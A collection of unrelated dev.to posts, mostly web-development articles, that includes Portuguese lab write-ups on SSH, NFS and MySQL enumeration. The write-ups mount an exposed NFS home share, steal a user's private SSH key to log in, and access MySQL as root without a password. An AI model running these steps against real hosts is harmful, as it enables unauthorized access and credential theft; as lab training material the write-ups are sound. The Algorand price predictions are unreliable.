teleren/devto huggingface dataset:
Wordpress 6.4.3 - Important Security Release
Tags: webdev, wordpress, tutorial, productivity
Published: 2024-02-01 00:56:11


Wordpress 6.4.3 - Imporrtant Security Release


https://wordpress.org/news/2024/01/wordpress-6-4-3-maintenance-and-security-release/


WordPress 6.4. 3 is a short-cycle release. The next major release will be version 6.5 planned for 26 March 2024. You can review a summary of the maintenance updates in this release by reading the Release Candidate announcement.


Maintenance and Security release

This security and maintenance release features 5 bug fixes on Core, 16 bug fixes for the Block Editor, and 2 security fixes.
Because this is a security release, it is recommended that you update your sites immediately. Backports are also available for other major WordPress releases, 4.1 and later.
You can download WordPress 6.4.3 from WordPress.org, or visit your WordPress Dashboard, click “Updates”, and then click “Update Now”. If you have sites that support automatic background updates, the update process will begin automatically.

WordPress 6.4.3 is a short-cycle release. The next major release will be version 6.5 planned for 26 March 2024. You can review a summary of the maintenance updates in this release by reading the Release Candidate announcement. For further information on this release, please visit the HelpHub site.
Security updates included in this release

The security team would like to thank the following people for responsibly reporting vulnerabilities, and allowing them to be fixed in this release:

    m4tuto for finding a PHP File Upload bypass via Plugin Installer (requiring admin privileges).
    @_s_n_t of @pentestltd working with Trend Micro Zero Day Initiative for finding an RCE POP Chains vulnerability.
Using Vue.js for Frontend Development
Tags: webdev, javascript, vue, beginners
Published: 2024-02-01 00:30:41

# Using Vue.js for Frontend Development

## Introduction

In today's digital age, frontend development has become an essential part of creating a successful website or application. With the ever-growing demand for modern and user-friendly interfaces, developers are constantly searching for new and efficient tools to enhance their frontend development process. Vue.js, an open-source JavaScript framework, has gained popularity for its ability to build dynamic user interfaces with ease. This article will explore the advantages, disadvantages, and features of Vue.js for frontend development.

## Advantages of Using Vue.js

1. **Simple and Lightweight**: Vue.js is a lightweight framework, with a size of around 18-21 KB, making it quick to download and integrate into projects. Its syntax is simple and intuitive, facilitating a smooth learning curve for beginners.

2. **Reactive and Composable**: The framework uses a reactive and composable data model for seamless data binding and synchronization between the data model and the UI.

3. **Versatile**: Vue.js can easily integrate with other libraries and existing projects, making it a versatile option for frontend development.

## Disadvantages of Using Vue.js

1. **Limited Scalability**: While Vue.js is efficient for small to medium-sized projects, it may not be suitable for large-scale applications due to its limited scalability compared to frameworks like Angular or React.

2. **Small Community**: Vue.js has a smaller community compared to its counterparts, which can limit the availability of resources and support for developers.

## Features of Vue.js

1. **Virtual DOM**: Vue.js employs a Virtual DOM, enhancing performance and efficiency in updating the DOM by minimizing direct manipulations.

2. **Single-File Components**: The framework supports single-file components, allowing developers to encapsulate the template, script, and style sections of a component in a single file, simplifying code organization and management.

3. **Detailed Documentation**: Vue.js boasts detailed and comprehensive documentation, providing developers with the resources needed to learn the framework and troubleshoot issues effectively.

## Conclusion

Vue.js is a compelling choice for frontend development, offering simplicity, flexibility, and a set of powerful features for building modern, responsive user interfaces. However, when choosing Vue.js for your project, it's crucial to weigh its limitations and ensure it meets the needs of your specific development scenario. As the web development landscape continues to evolve, Vue.js remains a significant player, deserving consideration by web developers at all levels.
A quick visualization of Android MVVM with a Service
Tags: android, kotlin, mobile, tristan
Published: 2024-02-01 00:02:55

### Introduction
- This is just a quick little drawing I made to help myself visualize how a Service is going to work inside of the MVVM Architecture 

### My app on the Google play store
- [The app](https://play.google.com/store/apps/details?id=elliott.software.clicker)

### The Visualization
![MVVM architecture with a Service](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/eqsscf6wfuv27eyruw42.png)

- A brief explanation is this. Basically, a Service really exists out side of the typical MVVM Architecture pattern. When a Service gets created it does not adhere to the same boundaries as viewmodels bound to a Activity or Fragment. It only interacts with the data layer by sending it data, which then gets emitted to a hot flow and that hot flow then triggers a response from the ViewModel and UI
Dorking of Google
Tags: linux, hacking, google, security
Published: 2024-01-31 23:59:34

Greetings,

Today I wanted to discuss a great topic surrounding Google. Did you know that there is something called Google Dorking that is very popular within the cybersecurity community? Oh yes, Google 'Dorking' sounds crazy, but the community refers to it as ethical hacking.Results found from Google Dorking are found on publicly accessible documents, which Google has indexed. If sensitive info is found within these files, its a risk created by the site owner and is up to them to resolve issue. Let's say someone uploaded private info on a webserver or a open connection to a webcam? When using Google Dorking, you can find the vulnerability. It's used for ethical hacking in the step of recon so one can know more about the target. The passive recon that we are using is defined as such because we are searching for public info. 

To use it, simply go to Google.com and use search operators to find information. Here are a list of the search operators in which can be used and it's all legal.

**Google Dorking Operators**
  
- **Site:** Searches within a particular website
  `site:starbucks.com`

  
- **Filetype:** Searches for specific file types
   `site:starbucks.com filetype:pdf`
  

- **Inurl:** Finds URLs that include specific words
  `inurl:admin'
  `site:starbucks inurl:admin`
  

- **Intext:** Searches for text within a webpage's content.
   `site:starbucks intext:admin`


- **Intitle:** Looks for terms in a webpage's <title> tag.
   `site.starbucks.com intitle:login` 



Now it comes illegal when you take the info and you use it for another attack. Without permission, the use of this info to attack the target would be a 'black hat' hacking which is illegal. Be sure to keep it passive when doing your recon great people. Another great tool is Google Hacking Database.

**Google Hacking Database (GHDB)** is a filled with potential search strings in which can work. A compilation of search queries and query operators that help us in Google Dorking. It is arranged into categories such as Files containing passwords, vulnerable servers, footholds and error messages. Each category contains search queries and operators crafted to reveal specific info about a target. Keep in mind that all queries in the database may be outdated so verify the info obtain through the operators.


For more info, I will leave the resources below. Take a moment to use the operators reviewed as well as visit the GHDB. You will find many things on there, but I highly advise to NEVER use unethical practices. If you like me, I am trying to gain a role, not become an inmate. 

Peace and Light


**Resources:**

[FCC - Google Dorking](https://www.freecodecamp.org/news/google-dorking-for-pentesters-a-practical-tutorial/)

[HackTheBox - Google Dorking](https://www.hackthebox.com/blog/What-Is-Google-Dorking)

[Google Hacking Database (GHDB) ](https://www.exploit-db.com/google-hacking-database)
How To Use API
Tags: api, javascript, programming
Published: 2024-01-31 23:50:02

In this article, we will be creating a news website with just API. So Creating a news website with API integration involves some steps, including setting up the HTML structure, styling with CSS, and using JavaScript to fetch and display news articles. Below is a step example of how you can create a basic news website using the NewsAPI.

Please note that you need to sign up for a [NewsAPI](https://newsapi.org) and get an API key for this to work  

in our HTML file let us create a container named news-container 

`**<div id="news-container"></div>**`

Next, let's obtain our API key and make an API call.

you've already obtained the key; now you're making the API call.

```jsx
//The URL of the API you want to fetch data from
const apiKey = 'YOUR_API_KEY';
const apiUrl = 'https://newsapi.org/v2/top-headlines';

const params = {
  country: 'us',
  apiKey: apiKey,
};
data';

//Using fetch to make a GET request
fetch(apiUrl)
  .then(response => {
    //Check if the request was successful (status code 200)
    if (!response.ok) {
      throw new Error(`HTTP error! Status: ${response.status}`);
    }
    //Parse the response JSON and return it as a Promise
    return response.json();
  })
  .then(data => {
    //Handle the data obtained from the API
    console.log(data);
  })
  .catch(error => {
    //Handle any errors that occurred during the fetch
    console.error('Error fetching data:', error.message);
  });
```

### **Explanation:**

1. **URL:**
    - Define the URL of the API you want to fetch data from.
2. **Fetch Call:**
    - Use the **`fetch`** function, passing in the URL as an argument.
    - The **`fetch`** function returns a Promise that resolves to the **`Response`** to that request.
3. **Check for Errors:**
    - Inside the first **`then`** block, check if the response was successful (status code 200). If not, throw an error.
4. **Parse Response:**
    - If the response is successful, use the **`json`** method on the response to parse the JSON content. This method also returns a Promise.
5. **Handle Data:**
    - In the second **`then`** block, handle the parsed data.
6. **Handle Errors:**
    - Use the **`catch`** block to handle any errors that might occur during the fetch operation.

This should give you a good starting point for understanding and using the **`fetch`** API in your web development projects.
Fix: Opencart cache images not generated
Tags: opencart, images, career, php
Published: 2024-01-31 23:46:40

I spent some hours struggling with figuring out why images on my local copy of a live Opencart site were not being displayed. Opencart seemed to not generate the resized product images and store them in the cache folder.

After a long search, I found the answer. Images were not being generated because I had PHP8 installed locally, and in PHP8, the GD library uses a class object instead of a resource. Opencart was checking for a resource using `is_resource()`

The solution was simple; also check for class objects. 

In `system/library/image.php`, replace

```
if (is_resource($this->image)) {
```

with

```
if (is_resource($this->image) || is_object($this->image)) {
```
SSH - Enumeration
Published: 2024-01-31 23:45:19

1. Monte o diretório na sua máquina usando o NFS.
2. Navegue entre os diretórios após a montagem.
3. Acesse o diretório SSH.
4. Obtenha a chave privada.
5. Faça o download da chave privada para a sua máquina.
6. Utilize a chave privada com o parâmetro -i ao se conectar no servidor via SSH.
7. Após a conexão, navegue na raiz do servidor e realize as ações desejadas.

Neste mesmo host analisado anteriormente existe um serviço de SSH.

Host: 172.16.1.33

**Quais os métodos de autenticação aceitos no serviço de SSH?**

Realizamos um banner grabbing para detectar o sistema operacional e a possível versão do servidor em execução:

```bash
nc 172.16.1.33 22 ou 2222 
```

Após isso, identificamos o método de autenticação que está sendo utilizado e os métodos aceitos pelo servidor. Utilizamos o próprio utilitário SSH em modo verbose:

```bash
ssh -v 172.16.1.33 
```

Confirme com yes para prosseguir. Encontre a opção "Authentications that can continue".

= Resposta do laboratório.

RESPOSTA DO VLAB

```bash
rpcinfo -p 172.16.1.5 | grep nfs
```

```bash
showmount -e 172.16.1.31
```

```bash
mkdir /tmp/nfs
```

Em seguida, mova o diretório encontrado /home/camila para o /tmp/nfs com o comando:

```bash
mount -t nfs -o nfsvers=2 172.16.1.31:/home/camila /tmp/nfs
```

Depois, navegue no diretório montado com:

```bash
ls -la /tmp/nfs
```

Em seguida, acesse o diretório /tmp/nfs/.ssh

Roube a chave privada e faça o download para a máquina com o comando:

```bash
cp id_rsa /home/rewind
```

Ao conectar-se ao servidor via SSH, use a chave da seguinte forma:

```bash
ssh -i id_rsa camila@172.16.1.31 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss
```

Agora você pode navegar dentro do servidor: ir até a raiz, "/ /", etc.

ROUBANDO A CHAVE Privada:

```bash
rpcinfo -p 172.16.1.5 | grep nfs
```

```bash
showmount -e 172.16.1.31
```

```bash
mkdir /tmp/nfs
```

```bash
cd /tmp/nfs
```

```bash
ls -la /tmp/nfs
```

```bash
cd /tmp/nfs/.ssh
```

```bash
ls -la
```

```bash
cat id_rsa.pub
```

```bash
cat id_rsa
```

```bash
cp id_rsa /home/rewind
```

Ao conectar-se ao servidor via SSH, utilize a chave da seguinte forma:

```bash
ssh -i id_rsa camila@172.16.1.31 -o HostKeyAlgorithms=+ssh-dss -o PubkeyAcceptedKeyTypes=+ssh-dss
```

```bash
id_rsa
```

```bash
ls
```

```bash
cat key.txt
```

```bash
cd /root
```

```bash
cd /home
```

```bash
cd /home/anonymous
```

```bash
ls
```

```bash
cd anonymous
```

```bash
ls
```

```bash
cat key.txt
```

```bash
cd /home
```

```bash
cd /home/camila
```

```bash
cd //
```

```bash
ls
```

```bash
cat key.txt
```
NFS - Enumeration
Published: 2024-01-31 23:37:46

Funciona na porta 2049 TCP.

Varremos a rede pela porta 2049 com o nmap.

Explore o serviço de NFS do servidor 172.16.1.31 e obtenha a chave.

```bash
nmap -sS --open -p 2049 <alvo>
```

Primeira coisa: ver as versões que esse protocolo suporta:

```bash
rpcinfo -p <alvo> | grep nfs
```

Depois usamos o showmount -e para ver quais compartilhamentos foram compartilhados:

```bash
showmount -e <alvo>
```

Agora que descobrimos os diretórios disponíveis, devemos montá-los para tentar acessá-los:

Criamos um diretório em nossa máquina:

```bash
mkdir /tmp/nfs
```

Depois usamos mount -t para montarmos o compartilhamento entre o que acabamos de montar e o que descobrimos no alvo:

Fazemos:

```bash
mount -t nfs -o nfsvers=2 (número da versão que fica disponível no alvo, vamos testando...)
```

```bash
mount -t nfs -o nfsvers=2 172.16.1.31:/home/camila /tmp/nfs
```

Assim, montamos o diretório /home/camila dentro do diretório /tmp/nfs que criamos.

Entramos no diretório:

```bash
cd /tmp/nfs
```

E vemos tudo de /home/camila nele.

Podemos mexer em todos os arquivos que estão dentro desse sistema.

Inglês:

Operates on port 2049 TCP.

We scan the network on port 2049 using nmap.

Explore the NFS service of the server 172.16.1.31 and obtain the key.

```bash
nmap -sS --open -p 2049 <target>
```

First thing: check the versions that this protocol supports:

```bash
rpcinfo -p <target> | grep nfs
```

Then we use showmount -e to see which shares have been shared:

```bash
showmount -e <target>
```

Now that we have discovered the available directories, we must mount them to try to access them:

We create a directory on our machine:

```bash
mkdir /tmp/nfs
```

Then we use mount -t to mount the share between what we just mounted and what we discovered on the target:

We do:

```bash
mount -t nfs -o nfsvers=2 (version number available on the target, testing...)
```

```bash
mount -t nfs -o nfsvers=2 172.16.1.31:/home/camila /tmp/nfs
```

This way, we mount the /home/camila directory inside the /tmp/nfs directory that we created.

We enter the directory:

```bash
cd /tmp/nfs
```

And see everything from /home/camila in it.

We can manipulate all the files within this system.
MySQL - Enumeration
Published: 2024-01-31 23:27:39

```
time sudo nmap -sS -p 3306 172.16.1-100 --open
```
**Qual a versão do MySQL no Host encontrado anteriormente?**

Podemos interagir direto com o banco de dados com o usuário root sem senha: 
```
mysql -v -h 172.16.1.33 -u root 
```

Temos que nos conectar com o serviço e interagir com o banco de dados com os métodos permitidos:

- Como conectar ao serviço? 

```
mysql -v -h 172.16.1.33 -u root 
```
Usuário root sem senha (se encontrar a porta 3306 aberta, já da pra tentar logar)

Então, começa a interagir com o banco de dados com:

**
ficando assim na ordem:

```bash
mysql -v -h 172.16.1.33 -u root
```

```bash
show databases;
```

```bash
use vlab 
```

```bash
show tables;
```

```bash
select * from ativa;  = KEY 662102538896 
```
keep getting the same error
Tags: reactnative, python, renpy, beginners
Published: 2024-01-31 23:26:15

I have been getting the same set of errors for this code no matter what I did, I even ran it through chat gpt and various code checkers

**File "game/script.rpy", line 276: expected statement.
    f"%{a}s, yesterday was amazing! I'm glad we've had quality time together."
                                                                              ^

File "game/script.rpy", line 284: expected statement.
    f"I like that idea, %{a}s. Sure, here's my number: 17344156421. Let's stay connected."
                                                                                          ^

File "game/script.rpy", line 285: expected statement.
    f"There you go! I'll wait for your message."
                                                ^

File "game/script.rpy", line 290: expected statement.
    f"Haha, that's a fun idea! Here's my number: 17344156421. Don't get lost without me!"
                                                                                         ^
**


label start_day_3:
    "A new day of Spring Break begins, and you're eager to deepen your connections with the amazing people you've met. Whose contact information would you like to ask for first?"

    menu:
        "1. Ask Faith for her number.":
            $chosen_girl = "faith"
            jump faith_contact

        "2. Ask Rancor for her number.":
            $chosen_girl = "rancor"
            jump rancor_contact

        "3. Ask Vahella for her number.":
            $chosen_girl = "vahella"
            jump vahella_contact


label faith_contact:
    scene afternoon_park with fadeIn
    "As you spend a day with Faith, you feel a growing connection. Now, you want to ask for her contact number."

    f"%{a}s, yesterday was amazing! I'm glad we've had quality time together."
    a"Faith, I've really enjoyed spending time with you. How about we keep in touch after Spring Break? Can I get your number?"

    "Faith blushes and smiles."

    menu:
        "1. Smooth Talker":
            a"You know, just in case I want to plan more hangouts or simply chat. What do you think?"
            f"I like that idea, %{a}s. Sure, here's my number: 17344156421. Let's stay connected."
            f"There you go! I'll wait for your message."
            "You left Faith, promising to text her..."

        "2. Playful Approach":
            a"We should exchange numbers, you know. Just in case one of us gets lost in another mysterious cave. What do you say?"
            f"Haha, that's a fun idea! Here's my number: 17344156421. Don't get lost without me!"
            "You: I'll make sure not to lose it."
            "You left Faith, promising to text her..."

            menu:
                "Ask Rancor for her number.":
                    jump rancor_contact
                "Ask Vahella for her number.":
                    jump vahella_contact
                "End the day.":
                    scene black with fadeIn
                    "End of the day."
Day 906 : Sometimes I Wonder
Tags: hiphop, code, coding, lifelongdev
Published: 2024-01-31 23:17:08

_liner notes_:
- Professional : Wow.... today FLEW by. Sometimes I wonder where the time went. Had a meeting. Reviewed some PRs. Helped out with some community questions. Took a training. Looked at a guide that I'll be updating. Then it was the end of the day. Didn't get a chance to work on a Web Component.

- Personal : So, I think I found a pretty nice piece of land that just came on the market. It pretty much had everything done to it to make it ready for a house. Only thing is that it's kind of far from the airport and the town looks almost deserted. I'll have to look more into it. Kind of went through some tracks for the radio show. I drew up some layouts for my current side project. I figured out how I can get the embedded livestream video to autoplay when the stream starts. Just had to add some parameters to the end of the URL of the iframe embed. Ended the night watching an episode of "Rurouni Kenshin".

![﻿The picture shows a lush green forest with tall trees and bright green moss on the ground. The sun is shining through the trees, creating a dappled pattern on the forest floor. The forest is dense and looks very old. The location is a forest in Bonn, Germany.](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/76u7nmbl3aa7vt08na5d.jpg)

Can't believe it's already Wednesday. Going to pick up some projects on Bandcamp and get the social media posts ready. I'm going to look more into the area where I found that land. I want to see if there are grocery stores, hospitals and things like that in the area. I may reach out to the realtor. There's a quick thing I want to try out with my side project. I think I have a demo project that does most of what I want. Just need to add a video player. Then end the night watching "Rurouni Kenshin". It's a pretty dope show. I remember watching the original a while back. 

Have a great night!

peace piece
Dwane / conshus
https://dwane.io / https://HIPHOPandCODE.com
{% youtube UiexyMpa9YA %}
📈📈📈Algorand Price Prediction 2025-2030
Published: 2024-01-31 23:07:28

📌2025 $0.31
📌2026 $0.52
📌2027 $0.78
📌2028 $0.9
📌2029 $1.48
📌2030 $2.58
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ysgry3vm9cs0pw9uk8x4.png)